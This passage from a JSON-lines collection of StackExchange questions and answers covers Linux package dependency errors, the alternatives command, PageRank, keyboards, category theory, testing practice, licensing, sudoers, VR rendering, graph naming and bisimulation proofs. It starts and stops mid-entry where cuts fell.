libgtk-3.so.0()(64bit) for package: google-chrome-stable-60.0.3112.78-1.x86_64--> Processing Dependency: libgdk-3.so.0()(64bit) for package: google-chrome-stable-60.0.3112.78-1.x86_64---> Package kernel.x86_64 0:4.4.5-15.26.amzn1 will be erased---> Package kernel-devel.x86_64 0:4.4.5-15.26.amzn1 will be erased--> Finished Dependency ResolutionError: Package: google-chrome-stable-60.0.3112.78-1.x86_64 (google-chrome)           Requires: libgtk-3.so.0()(64bit)Error: Package: google-chrome-stable-60.0.3112.78-1.x86_64 (google-chrome)           Requires: libgdk-3.so.0()(64bit) You could try using --skip-broken to work around the problem** Found 2 pre-existing rpmdb problem(s), 'yum check' output follows:2000:jdk-1.6.0_45-fcs.x86_64 is a duplicate with 2000:jdk-1.6.0_35-fcs.x86_642000:jdk-1.6.0_65-fcs.x86_64 is a duplicate with 2000:jdk-1.6.0_45-fcs.x86_64Where do I find this mysterious libgtk-3.so.0 library?  When I Google it, I see an RPM site, but Amazon Linux isn't an RPM-based system (unless I'm reading something wrong).  How do I find and install this mystery library?Edit: Error in response to answer given[myuser@mymachine ~]$ sudo yum search libgtkLoaded plugins: fastestmirror, priorities, update-motd, upgrade-helperLoading mirror speeds from cached hostfile * CentOS-base: mirror.us.leaseweb.net * CentOS-extras: centos.vwtonline.net * CentOS-updates: mirrors.centos.webair.com * amzn-main: packages.us-east-1.amazonaws.com * amzn-updates: packages.us-east-1.amazonaws.com * base: mirror.us.leaseweb.net * updates: mirrors.centos.webair.com6590 packages excluded due to repository priority protections============================================================================================= Matched: libgtk ==============================================================================================gtkhtml2.i686 : An HTML widget for GTK+ 2.0gtkhtml2.x86_64 : An HTML widget for GTK+ 2.0[myuser@mymachine ~]$ sudo yum -y install gtkhtml2.x86_64Loaded plugins: fastestmirror, priorities, update-motd, upgrade-helperLoading mirror speeds from cached hostfile * CentOS-base: mirror.us.leaseweb.net * CentOS-extras: centos.vwtonline.net * CentOS-updates: mirrors.centos.webair.com * amzn-main: packages.us-east-1.amazonaws.com * amzn-updates: packages.us-east-1.amazonaws.com * base: mirror.us.leaseweb.net * updates: mirrors.centos.webair.com6590 packages excluded due to repository priority protectionsPackage gtkhtml2-2.11.1-7.el6.x86_64 already installed and latest versionNothing to do[myuser@mymachine ~]$ sudo yum -y install gtkhtml2.i686Loaded plugins: fastestmirror, priorities, update-motd, upgrade-helperLoading mirror speeds from cached hostfile * CentOS-base: mirror.us.leaseweb.net * CentOS-extras: mirror.us-midwest-1.nexcess.net * CentOS-updates: mirrors.centos.webair.com * amzn-main: packages.us-east-1.amazonaws.com * amzn-updates: packages.us-east-1.amazonaws.com * base: mirror.us.leaseweb.net * updates: mirrors.centos.webair.com6590 packages excluded due to repository priority protectionsResolving Dependencies--> Running transaction check---> Package gtkhtml2.i686 0:2.11.1-7.el6 will be installed--> Processing Dependency: libxml2.so.2(LIBXML2_2.6.0) for package: gtkhtml2-2.11.1-7.el6.i686--> Processing Dependency: libxml2.so.2(LIBXML2_2.4.30) for package: gtkhtml2-2.11.1-7.el6.i686--> Processing Dependency: libxml2.so.2 for package: gtkhtml2-2.11.1-7.el6.i686--> Processing Dependency: libpangoft2-1.0.so.0 for package: gtkhtml2-2.11.1-7.el6.i686--> Processing Dependency: libpangocairo-1.0.so.0 for package: gtkhtml2-2.11.1-7.el6.i686--> Processing Dependency: libpango-1.0.so.0 for package: gtkhtml2-2.11.1-7.el6.i686--> Processing Dependency: libgtk-x11-2.0.so.0 for package: gtkhtml2-2.11.1-7.el6.i686--> Processing Dependency: libgdk_pixbuf-2.0.so.0 for package: gtkhtml2-2.11.1-7.el6.i686--> Processing Dependency: libgdk-x11-2.0.so.0 for package: gtkhtml2-2.11.1-7.el6.i686--> Processing Dependency: libgailutil.so.18 for package: gtkhtml2-2.11.1-7.el6.i686--> Processing Dependency: libfreetype.so.6 for package: gtkhtml2-2.11.1-7.el6.i686--> Processing Dependency: libfontconfig.so.1 for package: gtkhtml2-2.11.1-7.el6.i686--> Processing Dependency: libcairo.so.2 for package: gtkhtml2-2.11.1-7.el6.i686--> Processing Dependency: libatk-1.0.so.0 for package: gtkhtml2-2.11.1-7.el6.i686--> Running transaction check---> Package atk.i686 0:1.30.0-1.el6 will be installed---> Package cairo.i686 0:1.12.14-6.8.amzn1 will be installed--> Processing Dependency: libpixman-1.so.0 for package: cairo-1.12.14-6.8.amzn1.i686--> Processing Dependency: libXext.so.6 for package: cairo-1.12.14-6.8.amzn1.i686--> Processing Dependency: libX11.so.6 for package: cairo-1.12.14-6.8.amzn1.i686--> Processing Dependency: libxcb-render.so.0 for package: cairo-1.12.14-6.8.amzn1.i686--> Processing Dependency: libXrender.so.1 for package: cairo-1.12.14-6.8.amzn1.i686--> Processing Dependency: libxcb-shm.so.0 for package: cairo-1.12.14-6.8.amzn1.i686--> Processing Dependency: libpng12.so.0(PNG12_0) for package: cairo-1.12.14-6.8.amzn1.i686--> Processing Dependency: libpng12.so.0 for package: cairo-1.12.14-6.8.amzn1.i686--> Processing Dependency: libGL.so.1 for package: cairo-1.12.14-6.8.amzn1.i686--> Processing Dependency: libxcb.so.1 for package: cairo-1.12.14-6.8.amzn1.i686---> Package fontconfig.i686 0:2.8.0-5.8.amzn1 will be installed--> Processing Dependency: libexpat.so.1 for package: fontconfig-2.8.0-5.8.amzn1.i686---> Package freetype.i686 0:2.3.11-15.14.amzn1 will be installed---> Package gdk-pixbuf2.i686 0:2.24.1-6.el6_7 will be installed--> Processing Dependency: libtiff.so.3 for package: gdk-pixbuf2-2.24.1-6.el6_7.i686--> Processing Dependency: libjpeg.so.62(LIBJPEG_6.2) for package: gdk-pixbuf2-2.24.1-6.el6_7.i686--> Processing Dependency: libjpeg.so.62 for package: gdk-pixbuf2-2.24.1-6.el6_7.i686--> Processing Dependency: libjasper.so.1 for package: gdk-pixbuf2-2.24.1-6.el6_7.i686---> Package gtk2.x86_64 0:2.24.23-8.el6 will be updated---> Package gtk2.i686 0:2.24.23-9.el6 will be installed--> Processing Dependency: libcups.so.2 for package: gtk2-2.24.23-9.el6.i686--> Processing Dependency: libXrandr.so.2 for package: gtk2-2.24.23-9.el6.i686--> Processing Dependency: libXinerama.so.1 for package: gtk2-2.24.23-9.el6.i686--> Processing Dependency: libXi.so.6 for package: gtk2-2.24.23-9.el6.i686--> Processing Dependency: libXfixes.so.3 for package: gtk2-2.24.23-9.el6.i686--> Processing Dependency: libXdamage.so.1 for package: gtk2-2.24.23-9.el6.i686--> Processing Dependency: libXcursor.so.1 for package: gtk2-2.24.23-9.el6.i686--> Processing Dependency: libXcomposite.so.1 for package: gtk2-2.24.23-9.el6.i686---> Package gtk2.x86_64 0:2.24.23-9.el6 will be an update---> Package libxml2.i686 0:2.9.1-6.3.49.amzn1 will be installed--> Processing Dependency: liblzma.so.5 for package: libxml2-2.9.1-6.3.49.amzn1.i686--> Processing Dependency: liblzma.so.5(XZ_5.0) for package: libxml2-2.9.1-6.3.49.amzn1.i686---> Package pango.i686 0:1.28.1-10.11.amzn1 will be installed--> Processing Dependency: libthai.so.0(LIBTHAI_0.1) for package: pango-1.28.1-10.11.amzn1.i686--> Processing Dependency: libXft.so.2 for package: pango-1.28.1-10.11.amzn1.i686--> Processing Dependency: libthai.so.0 for package: pango-1.28.1-10.11.amzn1.i686--> Running transaction check---> Package compat-libtiff3.i686 0:3.9.4-21.15.amzn1 will be installed--> Processing Dependency: libstdc++.so.6(GLIBCXX_3.4.9) for package: compat-libtiff3-3.9.4-21.15.amzn1.i686--> Processing Dependency: libstdc++.so.6(GLIBCXX_3.4) for package: compat-libtiff3-3.9.4-21.15.amzn1.i686--> Processing Dependency: libstdc++.so.6 for package: compat-libtiff3-3.9.4-21.15.amzn1.i686---> Package cups-libs.i686 1:1.4.2-67.21.amzn1 will be installed--> Processing Dependency: libgnutls.so.26 for package: 1:cups-libs-1.4.2-67.21.amzn1.i686--> Processing Dependency: libgnutls.so.26(GNUTLS_1_4) for package: 1:cups-libs-1.4.2-67.21.amzn1.i686--> Processing Dependency: libavahi-client.so.3 for package: 1:cups-libs-1.4.2-67.21.amzn1.i686--> Processing Dependency: libavahi-common.so.3 for package: 1:cups-libs-1.4.2-67.21.amzn1.i686--> Processing Dependency: libtiff.so.5(LIBTIFF_4.0) for package: 1:cups-libs-1.4.2-67.21.amzn1.i686--> Processing Dependency: libtiff.so.5 for package: 1:cups-libs-1.4.2-67.21.amzn1.i686---> Package expat.x86_64 0:2.1.0-8.18.amzn1 will be updated--> Processing Dependency: expat = 2.1.0-8.18.amzn1 for package: expat-devel-2.1.0-8.18.amzn1.x86_64---> Package expat.i686 0:2.1.0-10.21.amzn1 will be installed---> Package expat.x86_64 0:2.1.0-10.21.amzn1 will be an update---> Package jasper-libs.x86_64 0:1.900.1-16.9.amzn1 will be updated---> Package jasper-libs.i686 0:1.900.1-21.9.amzn1 will be installed---> Package jasper-libs.x86_64 0:1.900.1-21.9.amzn1 will be an update---> Package libX11.i686 0:1.6.0-2.2.12.amzn1 will be installed---> Package libXcomposite.i686 0:0.4.3-4.6.amzn1 will be installed---> Package libXcursor.i686 0:1.1.14-2.1.9.amzn1 will be installed---> Package libXdamage.i686 0:1.1.3-4.7.amzn1 will be installed---> Package libXext.i686 0:1.3.2-2.1.10.amzn1 will be installed---> Package libXfixes.i686 0:5.0.1-2.1.8.amzn1 will be installed---> Package libXft.i686 0:2.3.1-2.7.amzn1 will be installed---> Package libXi.i686 0:1.7.2-2.2.9.amzn1 will be installed---> Package libXinerama.i686 0:1.1.2-2.7.amzn1 will be installed---> Package libXrandr.i686 0:1.4.1-2.1.8.amzn1 will be installed---> Package libXrender.i686 0:0.9.8-2.1.9.amzn1 will be installed---> Package libjpeg-turbo.i686 0:1.2.90-5.14.amzn1 will be installed---> Package libpng.i686 2:1.2.49-2.14.amzn1 will be installed---> Package libthai.i686 0:0.1.12-3.5.amzn1 will be installed---> Package libxcb.x86_64 0:1.8.1-1.18.amzn1 will be updated--> Processing Dependency: libxcb = 1.8.1-1.18.amzn1 for package: libxcb-devel-1.8.1-1.18.amzn1.x86_64--> Processing Dependency: libxcb-sync.so.0()(64bit) for package: libxcb-devel-1.8.1-1.18.amzn1.x86_64---> Package libxcb.i686 0:1.11-2.21.amzn1 will be installed--> Processing Dependency: libXau.so.6 for package: libxcb-1.11-2.21.amzn1.i686---> Package libxcb.x86_64 0:1.11-2.21.amzn1 will be an update---> Package mesa-libGL.x86_64 0:10.1.2-2.32.amzn1 will be updated---> Package mesa-libGL.i686 0:10.1.2-2.35.amzn1 will be installed--> Processing Dependency: mesa-dri-drivers(x86-32) = 10.1.2-2.35.amzn1 for package: mesa-libGL-10.1.2-2.35.amzn1.i686--> Processing Dependency: libXxf86vm.so.1 for package: mesa-libGL-10.1.2-2.35.amzn1.i686--> Processing Dependency: libglapi.so.0 for package: mesa-libGL-10.1.2-2.35.amzn1.i686--> Processing Dependency: libdrm.so.2 for package: mesa-libGL-10.1.2-2.35.amzn1.i686---> Package mesa-libGL.x86_64 0:10.1.2-2.35.amzn1 will be an update---> Package pixman.i686 0:0.32.4-4.11.amzn1 will be installed---> Package xz-libs.i686 0:5.1.2-12alpha.12.amzn1 will be installed--> Running transaction check---> Package avahi-libs.i686 0:0.6.25-12.17.amzn1 will be installed--> Processing Dependency: libdbus-1.so.3 for package: avahi-libs-0.6.25-12.17.amzn1.i686---> Package expat-devel.x86_64 0:2.1.0-8.18.amzn1 will be updated---> Package expat-devel.x86_64 0:2.1.0-10.21.amzn1 will be an update---> Package gnutls.x86_64 0:2.8.5-19.15.amzn1 will be updated---> Package gnutls.i686 0:2.12.23-21.18.amzn1 will be installed--> Processing Dependency: libtasn1.so.3(LIBTASN1_0_3) for package: gnutls-2.12.23-21.18.amzn1.i686--> Processing Dependency: libtasn1.so.3 for package: gnutls-2.12.23-21.18.amzn1.i686---> Package gnutls.x86_64 0:2.12.23-21.18.amzn1 will be an update---> Package libXau.i686 0:1.0.6-4.9.amzn1 will be installed---> Package libXxf86vm.i686 0:1.1.3-2.1.9.amzn1 will be installed---> Package libdrm.i686 0:2.4.52-4.12.amzn1 will be installed--> Processing Dependency: libpciaccess.so.0 for package: libdrm-2.4.52-4.12.amzn1.i686---> Package libstdc++48.i686 0:4.8.3-9.111.amzn1 will be installed---> Package libtiff.x86_64 0:4.0.3-25.27.amzn1 will be updated--> Processing Dependency: libtiff(x86-64) = 4.0.3-25.27.amzn1 for package: libtiff-devel-4.0.3-25.27.amzn1.x86_64---> Package libtiff.i686 0:4.0.3-27.29.amzn1 will be installed--> Processing Dependency: libjbig.so.2.0 for package: libtiff-4.0.3-27.29.amzn1.i686---> Package libtiff.x86_64 0:4.0.3-27.29.amzn1 will be an update---> Package libxcb-devel.x86_64 0:1.8.1-1.18.amzn1 will be updated---> Package libxcb-devel.x86_64 0:1.11-2.21.amzn1 will be an update---> Package mesa-dri-drivers.x86_64 0:10.1.2-2.32.amzn1 will be updated---> Package mesa-dri-drivers.i686 0:10.1.2-2.35.amzn1 will be installed--> Processing Dependency: mesa-dri-filesystem(x86-32) for package: mesa-dri-drivers-10.1.2-2.35.amzn1.i686---> Package mesa-dri-drivers.x86_64 0:10.1.2-2.35.amzn1 will be an update--> Running transaction check---> Package dbus-libs.i686 1:1.6.12-14.28.amzn1 will be installed---> Package jbigkit-libs.i686 0:2.0-11.4.amzn1 will be installed---> Package libpciaccess.i686 0:0.13.1-4.1.11.amzn1 will be installed---> Package libtasn1.i686 0:2.3-6.6.amzn1 will be installed---> Package libtiff-devel.x86_64 0:4.0.3-25.27.amzn1 will be updated---> Package libtiff-devel.x86_64 0:4.0.3-27.29.amzn1 will be an update---> Package mesa-dri-filesystem.x86_64 0:10.1.2-2.32.amzn1 will be updated---> Package mesa-dri-filesystem.i686 0:10.1.2-2.35.amzn1 will be installed---> Package mesa-dri-filesystem.x86_64 0:10.1.2-2.35.amzn1 will be an update--> Finished Dependency ResolutionError:  Multilib version problems found. This often means that the root       cause is something else and multilib version checking is just       pointing out that there is a problem. Eg.:         1. You have an upgrade for gdk-pixbuf2 which is missing some            dependency that another package requires. Yum is trying to            solve this by installing an older version of gdk-pixbuf2 of the            different architecture. If you exclude the bad architecture            yum will tell you what the root cause is (which package            requires what). You can try redoing the upgrade with            --exclude gdk-pixbuf2.otherarch ... this should give you an error            message showing the root cause of the problem.         2. You have multiple architectures of gdk-pixbuf2 installed, but            yum can only see an upgrade for one of those architectures.            If you don't want/need both architectures anymore then you            can remove the one with the missing update and everything            will work.         3. You have duplicate versions of gdk-pixbuf2 installed already.            You can use yum check to get yum show these errors.       ...you can also use --setopt=protected_multilib=false to remove       this checking, however this is almost never the correct thing to       do as something else is very likely to go wrong (often causing       much more problems).       Protected multilib versions: gdk-pixbuf2-2.24.1-6.el6_7.i686 != gdk-pixbuf2-2.28.2-4.1.ll1.x86_64Error: Protected multilib versions: atk-1.30.0-1.el6.i686 != atk-2.8.0-4.1.ll1.x86_64"  , "title": "Where do I find libgtk-3.so.0()(64bit) for Amazon Linux?"  , "tags": "yum;gtk;amazon linux"  } 
{  "id": "_unix.385578"  , "question": "I'm following instructions from this site about building a spring-boot docker container.  They are using CentOS.  In their dockerfile, they call the alternative command several times.  I would like to understand the purpose of these statements.note: run is a docker command.  I am interested in the alternative command passed to runRUN alternatives --install /usr/bin/java jar /usr/java/latest/bin/java 200000RUN alternatives --install /usr/bin/javaws javaws /usr/java/latest/bin/javaws 200000RUN alternatives --install /usr/bin/javac javac /usr/java/latest/bin/javac 200000From what I can tell they are modifying symbolic links.  Is that correct and, more importantly, why?ThnxMatt"  , "title": "Why use the alternatives command?"  , "tags": "docker;alternatives"  , "accepted_answer": "You may have a need to keep multiple versions of an executable (like java) on your system.  Perhaps most of your system will work with Java 8, but one application needs Java 7.The alternatives program lets you switch from one version to another, quickly.EDIT: For other reasons you may want to do this, see What is the difference between JAVA_HOME and update-alternatives? and Better way to add alternative using update-alternatives?From man alternatives:It is possible for several programs fulfilling the same or similar  functions to be installed on a single system at the same time. For  example, many systems have several text editors installed at once.  This gives choice to the users of a system, allowing each to use a  different editor, if desired, but makes it difficult for a program to  make a good choice of editor to invoke if the user has not specified a  particular preference.The alternatives system aims to solve this problem. A generic name in  the filesystem is shared by all files providing interchangeable  functionality. The alternatives system and the system administrator  together determine which actual file is referenced by this generic  name."  } 
{  "id": "_cs.21283"  , "question": "From wikipedia:The PageRank values are the entries of the dominant eigenvector of the  modified adjacency matrix. This makes PageRank a particularly elegant  metricCan anyone please elaborate on the connection between the eigenvector and the PR vector? Why are they related?"  , "title": "Why is the PageRank vector also the eigenvector of the web adjacency matrix?"  , "tags": "graph theory;search algorithms"  , "accepted_answer": "PageRank is the stationary probability (i.e. dominant eigenvector) of the following random walk: with probability 0.85, choose a random outgoing link; with probability 0.15, choose a random web page. The modified adjacency matrix that Wikipedia talks about is obtained from the actual adjacency matrix $A$ by computing $0.85 A + 0.15 J$, where $J$ is the all-ones matrix. See this talk (page 13)."  } 
{  "id": "_hardwarecs.1975"  , "question": "I'm trying to help my mom replace her ancient laptop with a new laptop + external keyboard and monitor.  For use mostly at home in one spot, so this would let us not care so much about a new laptop's form factor.Use: MS Access / Excel, web, email.  So a gaming keyboard isn't needed.Requirements:no number pad.  Reaching far to the side of the alphabetic keys to get to the mouse is a problem.  My mom had a RSI shoulder issue from awkward mousing a few years ago, so we think it's important.ctrl key in the bottom-left corner, not some stupid Fn key: I bought one cheap compact keyboard to test-drive the external-keyboard idea.  The braindead layout was a showstopper.  The more sane the layout, the better.  (Screenshots of the current laptop keyboard are in that link above.  It's nice.)similar feel to a normal laptop keyboard, so it's not jarring to go between internal and external keyboard.  I don't think mechanical switches would be a plus.Bonus:built-in pointing device: for simple mouse movements, not reaching for the mouse at all saves wear and tear on the shoulder.  She does sometimes use the trackpad on her laptop instead of the external mouse in this case.Nice layout of the arrow keys is a plus, so alt+left / alt+right can be pressed easily with one hand.This keyboad is the kind of thing I'm looking for.Most external keyboards with built-in pointing devices have number pads, or are weird in some way.  For example, the ADESSO ACK-540UW pictured above has really cramped ctrl/capslock keys, and the backquote / ~ key is in a weird place.  I can't even make out the marking on the bottom-left corner key from that image, so I'm not even sure that's a ctrl key.Wired or wireless is fine.  Combo with a mouse is a disadvantage, but not a critical one.  I'm interested in options at any price range, although it would have to be really amazing to spend over 100$ on.  (We're in Canada, so online retailers can generally get most stuff that's available in the US.)I've considered just finding a laptop with an internal keyboard that would work well for daily use, but laptops without number pads are typically 14 screens or smaller.  This question is just asking for external keyboard recommendations; the off-topic stuff about laptops is just background."  , "title": "external keyboard with narrow (no number pad) laptop-style layout? trackpad is a bonus"  , "tags": "keyboards"  } 
{  "id": "_cstheory.9026"  , "question": "$ A \\times \\left ( B + C \\right ) $ is isomorphic to $ \\left ( A \\times B \\right ) + \\left ( A \\times C \\right ) $, right? That means there's a function from one to the other and another function back. But what are those functions? Furthest I got was $ \\left < \\mathrm { p } _ 0 , ( \\mathrm { id } + \\mathrm { id } ) \\circ \\mathrm { p } _ 1 \\right > $ but that's just equal to $ \\mathrm { id } _ { A \\times \\left ( B + C \\right ) } $."  , "title": "What function has the signature $ A \\times \\left ( B + C \\right ) \\rightarrow \\left ( A \\times B \\right ) + \\left ( A \\times C \\right ) $?"  , "tags": "functional programming;ct.category theory"  } 
{  "id": "_softwareengineering.247038"  , "question": "Over the past few weeks I've been mulling and researching how to fill a gap in our testing methodology.  In simplified terms unit tests are too small and traditional integration tests are too big.A frequent scenario comes up where A and B both use component C.  However A and B have slightly different requirements for, and make slightly different assumptions about C.  If I'm the developer of A how and where do I test my assumptions about C?Obviously unit testing A with mocked assumptions about C is fine for testing A in isolation, but it doesn't test the assumptions themselves.Another possibility is to add unit tests for C.  However this isn't ideal because, while A is in development, altering the tests for C with evolving assumptions from A will excessively be clumsy. Indeed As developer might not even have adequate access to the unit tests of C (e.g an external library).To frame this with a more concrete example: Assume that this is a node application.  A, and B depend on C to read a file (among other things) and store the file contents in object passed to C.  At first all files that C handles are small and can be read synchronously without significant blocking. However the developer of B realizes that his files are getting huge and needs to switch C to a async read.  This results in a sporadic synchronization bug in A, which is still assuming C is reading files synchronously.This is the type of bug that is notoriously difficult to track down from full integration tests, and may not be caught in integration tests at all.  It is also not caught by As unit tests because the As assumptions are mocked.  However it could easily be caught by a mini integration test that exercises just A and C.I've only found a few references to this type of testing. Integration in the Small, Component Integration Testing, Unit Integration Testing.  It also relates somewhat to BDD testing direction rather than formal TDD unit testing.How do I fill this testing gap?  Specifically -- where do I put such tests?  How do I mock the inputs of A and C for mini integration tests? And how much effort should be put into separating testing concerns between these tests and unit tests? Or is there a better way to fill the testing gap?"  , "title": "Testing gap between unit and integration: Integration in the Small, Component, Unit Integration Tests"  , "tags": "unit testing;testing;node.js;integration tests;bdd"  } 
{  "id": "_softwareengineering.51554"  , "question": "Is there a software license that allows free access to source code, but does not allow redistributing any binaries, either direct from the source code or modified source code for a limited time?The idea being much like a open source software patent; the original developer has the exclusive right to sell and distribute the product, and prevent others from copying the product for a limited time, and the source code would be disclosed to the public.Obviously the downside is enforcing this license, but larger companies (e.g. Microsoft) could possibly gain the benefits of open source projects but still keep their proprietary position."  , "title": "Software license options"  , "tags": "licensing;open source"  } 
{  "id": "_unix.241740"  , "question": "I want to give a user full access to only certain files, can someone show me how to do that?  For example, I want to modify the sudoer file to grant user access to only certain file.  Thanks."  , "title": "sudoer file how to give a particular user full access to only certain file"  , "tags": "files;permissions;users;privileges"  } 
{  "id": "_computerscience.2275"  , "question": "In virtual reality, the motion-to-photon time is very important. Oculus says it has to be less than 20ms. Maybe 10~15ms is better.Some people try to introduce Frameless rendering technology into VR. I think it's good to reduce the latency. But I don't know how the display quality is. According to the paper: Adaptive Frameless Rendering and the video (https://www.youtube.com/watch?v=ycSpSSt-yVs), it seems not very good. But, in this paper Construction and Evaluation of an Ultra Low Latency Frameless Renderer for VR, the authors used FPGA instead of GPU to render and used Frameless Rendering to reduce the latency to 1ms. In my mind, FPGA is very hard to replace GPU in 3D rendering area. And, Frameless Rendering needs racing the beam, it is also very hard to program. What do you think? Is it realistic to use FPGA and frameless rendering?"  , "title": "Can Frameless rendering reduce latency? And, can FPGA do 3D rendering instead of GPU?"  , "tags": "rendering;gpu;virtual reality"  , "accepted_answer": "First of all, the frameless rendering technique is in the context of raytracing, not rasterization. It's not obvious how it could be made to work effectively with rasterization, given that the basic idea of it is to update an image by a combination of temporal reprojection plus firing rays specifically at areas where the algorithm thinks the image is undersampled.So this technique is, prima facie, not compatible with rasterization-based graphics applications. But if you're already doing raytracing for other reasons, this technique would be interesting to look at; it certainly appears to improve quality relative to an image raytraced from scratch each frame, with the same number of rays per second.Raytracing on a GPU is certainly possible; you don't need an FPGA for that. I've only skimmed the second paper, but my reading of it is that the main reason for the FPGA is to get a close coupling between the display scanout and the rendering activity: namely they race the beam and evaluate pixels just before they're about to be scanned out, thus obtaining low latency.The GPU equivalent of this is probably to split the image in thin horizontal strips, and kick off a compute dispatch to render each strip just before it starts to be scanned out. Today, this is difficult to accomplish as it requires either millisecond-precise scheduling that desktop OSes are not currently set up for, or it requires the GPU to be able to dispatch based on an interrupt from the scanout unit—a hardware feature that doesn't currently exist AFAIK (or if it does, it isn't exposed in any graphics APIs). Or you might be able to make it work with a long-running asynchronous compute dispatch, if you can find a way to stay in sync with scanout.So, there are obstacles, but they aren't insurmountable, and I think if there was sufficient interest in racing-the-beam-style rendering, then OS and GPU vendors could come up with a way to do it in the future. So I don't think an FPGA is required for this kind of technique to work. On the other hand, the fact that it's based on raytracing is a much bigger obstacle to using it in real-world apps and games."  } 
{  "id": "_cs.47643"  , "question": "Background:I worked on finding the maximum path from the top to the bottom of a tree-like graph. During the process I found that the algorithm for finding the maximum path from the top to bottom of a binary tree also worked for my graph. My problem arose when trying to name the program, because the graph it works on is clearly not a binary tree.The problem:My graph looks like this:    a    /\\    bc    /\\/\\    def    /\\/\\/\\    ghijDue to that all the inner nodes at lower levels have multiple parents from the level above, it cannot be classified as a binary tree. From the perspective of finding the maximum path from the top to the bottom, it could be classified as a DAG, but because there strictly are no directed edges in the input graph, this also seems wrong. If presented in the following way:a - c - f - j|||b - e - i||d - h|gIt could be argued that it is a lattice graph. But that would conceal that it has a defined top and bottom, and that I have worked with a root and leaves. One could always fall back to calling it a general graph I guess, but that would conceal that it follows a very rigid structure.My question:What should I call this bastard that can be processed by many of the algorithms applied to binary trees but violates some of the properties of trees, for the sake of my problem can be considered a DAG but has no directed edges, and somehow resembles a lattice?"  , "title": "How to categorize an undirected triangular graph with top, bottom, and intertwining paths"  , "tags": "graph theory;graphs"  } 
{  "id": "_cs.50141"  , "question": "I have already posted this question on the other page, but I was suggested to post it here as it might be more relevant. I am currently following a course in concurrency theory and I am currently trying to prove that the Weak Bisimulation relation  is an equivalence relation.I have managed to prove cases for reflexivity and symmetry, however I can't seem to make the connection for transitivity. Does any one have any clues how can I go about this ?I have tried the relation {(P,R) | Q.PQ,and QR} as my witness relation and then at one point I get stuck.I assumed that P->a P' which gives me that there is Q =>a Q' and that P'  Q' Now the thing is that since Q =>a Q' then by the definition of => Q ->tau* Q1 ->a Q2 ->tau* Q' Q1 ->a Q2 will cause some R1=>a R2 such that Q2  R2 Then I am not sure how to proceed to show that somehow there is a transition R =>a R' such that (P', R') are in R. May be I believe I have to use numerical induction on the number of tau ?Thanks !"  , "title": "Proof for Transitivity of Weak Bisimulation "  , "tags": "concurrency"  } 
{  "id": "_codereview.121772"  , "question": "I have created REST API in codeigniter. REST sever created in codeigniter 3.0 and REST client created codeigniter 2.x.x. I have wrote simple code for login. After login client created dashboard page. So for creating dashboard page I am sending so many request to REST server and it's taking too much time.Below is the function for send request to server for dashboard. The function called after successfully login. So can please review my code and tell me is it correct way ? I have no idea about REST so and my system is too slow public function show_dashboard()     {           $rest_url_module_names=http://MyAPI/Dashboard_api/module_names/token/.$this->session->userdata('userToken');        $data_module_names = $this->curl->simple_get($rest_url_module_names);        $data_module_names=json_decode($data_module_names,true);        if($data_module_names['status']=='success')        {            $data['module_names'] = $data_module_names['data'];        }        $rest_url_single_emp=http://MyAPI/Dashboard_api/single_emp/token/.$this->session->userdata('userToken');        $data_single_emp = $this->curl->simple_get($rest_url_single_emp);        $data_single_emp=json_decode($data_single_emp,true);        if($data_single_emp['status']=='success')        {            $data['single_emp'] = $data_single_emp['data'];        }        $rest_url_department_nm=http://MyAPI/Dashboard_api/department_nm/token/.$this->session->userdata('userToken');        $data_department_nm = $this->curl->simple_get($rest_url_department_nm);        $data_department_nm=json_decode($data_department_nm,true);        if($data_department_nm['status']=='success')        {            $data['department_nm'] = $data_department_nm['data'];        }        $rest_url_designation_nm=http://MyAPI/Dashboard_api/designation_nm/token/.$this->session->userdata('userToken');        $data_designation_nm = $this->curl->simple_get($rest_url_designation_nm);        $data_designation_nm=json_decode($data_designation_nm,true);        if($data_designation_nm['status']=='success')        {            $data['designation_nm'] = $data_designation_nm['data'];        }        $rest_url_supervisor_nm=http://MyAPI/Dashboard_api/supervisor_nm/token/.$this->session->userdata('userToken');        $data_supervisor_nm = $this->curl->simple_get($rest_url_supervisor_nm);        $data_supervisor_nm=json_decode($data_supervisor_nm,true);        if($data_supervisor_nm['status']=='success')        {            $data['supervisor_nm'] = $data_supervisor_nm['data'];        }        $rest_url_sub_ordinates_nm=http://MyAPI/Dashboard_api/sub_ordinates_nm/token/.$this->session->userdata('userToken');        $data_sub_ordinates_nm = $this->curl->simple_get($rest_url_sub_ordinates_nm);        $data_sub_ordinates_nm=json_decode($data_sub_ordinates_nm,true);        if($data_sub_ordinates_nm['status']=='success')        {            $data['sub_ordinates_nm'] = $data_sub_ordinates_nm['data'];        }        $rest_url_profile_pic=http://MyAPI/Dashboard_api/profile_pic/token/.$this->session->userdata('userToken');        $data_profile_pic = $this->curl->simple_get($rest_url_profile_pic);        $data_profile_pic=json_decode($data_profile_pic,true);        if($data_profile_pic['status']=='success')        {            $data['profile_pic'] = $data_profile_pic['data'];        }        $rest_url_leave_type_dtls=http://MyAPI/Dashboard_api/leave_type_dtls/token/.$this->session->userdata('userToken');        $data_leave_type_dtls = $this->curl->simple_get($rest_url_leave_type_dtls);        $data_leave_type_dtls=json_decode($data_leave_type_dtls,true);        if($data_leave_type_dtls['status']=='success')        {            $data['leave_type_dtls'] = $data_leave_type_dtls['data'];        }        $rest_url_All_emp_pending_leave_lists=http://MyAPI/Dashboard_api/all_emp_pending_leave_lists/token/.$this->session->userdata('userToken');        $data_All_emp_pending_leave_lists = $this->curl->simple_get($rest_url_All_emp_pending_leave_lists);        $data_All_emp_pending_leave_lists=json_decode($data_All_emp_pending_leave_lists,true);        if($data_All_emp_pending_leave_lists['status']=='success')        {            $data['All_emp_pending_leave_lists'] = $data_All_emp_pending_leave_lists['data'];        }        $rest_url_general_applying_leave_rule_dtls=http://MyAPI/Dashboard_api/general_applying_leave_rule_dtls/token/.$this->session->userdata('userToken');        $data_general_applying_leave_rule_dtls = $this->curl->simple_get($rest_url_general_applying_leave_rule_dtls);        $data_general_applying_leave_rule_dtls=json_decode($data_general_applying_leave_rule_dtls,true);        if($data_general_applying_leave_rule_dtls['status']=='success')        {            $data['general_applying_leave_rule_dtls'] = $data_general_applying_leave_rule_dtls['data'];        }        $rest_url_weekend=http://MyAPI/Dashboard_api/weekend/a_weekend/Every/token/.$this->session->userdata('userToken');        $data_weekend = $this->curl->simple_get($rest_url_weekend);        $data_weekend=json_decode($data_weekend,true);        if($data_weekend['status']=='success')        {            $data['weekend'] = $data_weekend['data'];        }        $rest_url_First_weekoff=http://MyAPI/Dashboard_api/First_weekoff/a_weekend/First/token/.$this->session->userdata('userToken');        $data_First_weekoff = 